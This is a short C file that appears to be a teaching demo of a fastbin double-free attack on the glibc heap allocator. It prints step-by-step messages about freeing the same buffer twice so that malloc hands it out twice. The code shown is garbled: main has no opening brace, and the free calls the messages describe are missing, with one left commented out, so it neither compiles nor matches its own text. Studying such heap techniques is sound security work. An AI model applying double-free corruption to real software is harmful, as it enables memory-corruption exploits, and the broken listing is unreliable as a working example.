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#include <stdio.h>
#include <stdlib.h>
int main()
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
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